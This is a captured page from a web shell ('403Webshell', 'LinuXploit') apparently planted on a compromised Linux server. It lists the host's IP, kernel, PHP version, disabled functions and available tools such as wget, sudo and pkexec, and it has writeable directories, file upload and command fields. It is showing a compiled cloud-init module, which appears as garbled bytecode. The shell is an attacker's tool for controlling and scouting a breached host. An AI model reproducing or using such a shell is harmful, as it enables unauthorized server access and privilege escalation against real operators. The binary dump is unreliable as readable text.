403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/cloudinit/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python2.7/site-packages/cloudinit/config/cc_migrator.pyo
�
oB�]c@ssdZddlZddlZddlmZddlmZddlmZeZd�Z	d�Z
d�ZdS(	s%
Migrator
--------
**Summary:** migrate old versions of cloud-init data to new

This module handles moving old versions of cloud-init data to newer ones.
Currently, it only handles renaming cloud-init's per-frequency semaphore files
to canonicalized name and renaming legacy semaphore names to newer ones. This
module is enabled by default, but can be disabled by specifying ``migrate:
false`` in config.

**Internal name:** ``cc_migrator``

**Module frequency:** per always

**Supported distros:** all

**Config keys**::

    migrate: <true/false>
i����N(thelpers(tutil(t
PER_ALWAYSc
Cs|jjd�|jjd�f}d}x�|D]�}|s1tjj|�rWq1nx�tj|�D]�}tjj||�}tjj|�rgtjj	|�\}}t
j|�}||krtjj|||�}	tj
||	�|d7}qqgqgWq1W|S(Ntsemii(tpathst	get_ipatht	get_cpathtostpathtexiststlistdirtjointisfiletsplitextRtcanon_sem_nametshutiltmove(
tcloudRtam_adjustedtsem_pathtpt	full_pathtnametextt
canon_nametnew_path((s@/usr/lib/python2.7/site-packages/cloudinit/config/cc_migrator.pyt_migrate_canon_sems(s$
c
Cs�iddgd6}|jjd�|jjd�f}xW|D]O}|s>tjj|�rdq>ntj|�}x|j�D]	\}}|tj	|�g}g}	x]tj
|�D]L}
tjj|
�\}}||kr�tjj|
�r�|	j
|
�q�q�Wx|	D]w}
tjtjj||
��tjj|
�\}
}x:|D]2}|jd|
|�|j||��WdQXqOWqWq�Wq>WdS(Ns
apt-configurespackage-update-upgrade-installsapt-update-upgradeRs*Migrating %s => %s with the same frequency(RRRRRR	RtFileSemaphorestitemsRR
R
RtappendRtdel_fileRtdebugtlock(Rtlogt
legacy_adjustRRt
sem_helpertmod_namet
migrate_tot	possiblest
old_existsRRt_extt_nametfreqtm((s@/usr/lib/python2.7/site-packages/cloudinit/config/cc_migrator.pyt_migrate_legacy_sems:s.
$


	
cCsetj|dt�}tj|�s8|jd|�dSt|�}|jd|�t||�dS(Ntmigrates,Skipping module named %s, migration disableds8Migrated %s semaphore files to there canonicalized names(Rtget_cfg_option_strtTruettranslate_boolRRR,(RtcfgRR!t_argst
do_migratet
sems_moved((s@/usr/lib/python2.7/site-packages/cloudinit/config/cc_migrator.pythandleWs	(t__doc__RRt	cloudinitRRtcloudinit.settingsRt	frequencyRR,R5(((s@/usr/lib/python2.7/site-packages/cloudinit/config/cc_migrator.pyt<module>s		

Youez - 2016 - github.com/yon3zu
LinuXploit